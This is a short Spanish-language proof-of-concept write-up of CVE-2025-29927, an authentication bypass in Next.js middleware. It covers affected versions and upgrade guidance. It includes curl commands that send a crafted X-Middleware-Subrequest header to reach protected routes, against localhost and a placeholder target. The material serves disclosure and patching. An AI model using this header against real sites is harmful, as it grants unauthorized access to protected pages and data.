
Exploit de prueba de concepto para CVE-2025-29927, que demuestra omisión de autenticación en middleware de Next.js mediante el encabezado x-middleware-subrequest, con versiones afectadas y guía de mitigación.
Imagina un portero frente a la discoteca, pero si le dices "Ya estoy dentro", te deja pasar sin revisar. Eso es exactamente CVE-2025-29927.
El middleware en Next.js se ejecuta antes de procesar una solicitud, lo que lo convierte en el lugar ideal para manejar la autenticación. Next.js utiliza un encabezado interno x-middleware-subrequest para evitar solicitudes recursivas y bucles infinitos. Esta vulnerabilidad demuestra que es posible omitir o saltar la ejecución del middleware por completo, incluyendo comprobaciones de seguridad críticas como la autenticación antes de llegar a una ruta protegida.
| Rama | Corregida en |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
Miles o millones de aplicaciones se ejecutan en versiones de Next.js sin parchear. Si no se mitiga, esta vulnerabilidad permite el acceso no autenticado a rutas protegidas por cualquier persona, sin necesidad de credenciales.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
La respuesta devuelve la página protegida sin ninguna autenticación.
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Actualiza Next.js a una versión parcheada:
15.x → 15.2.3 o superior14.x → 14.2.25 o superior13.x → 13.5.9 o superior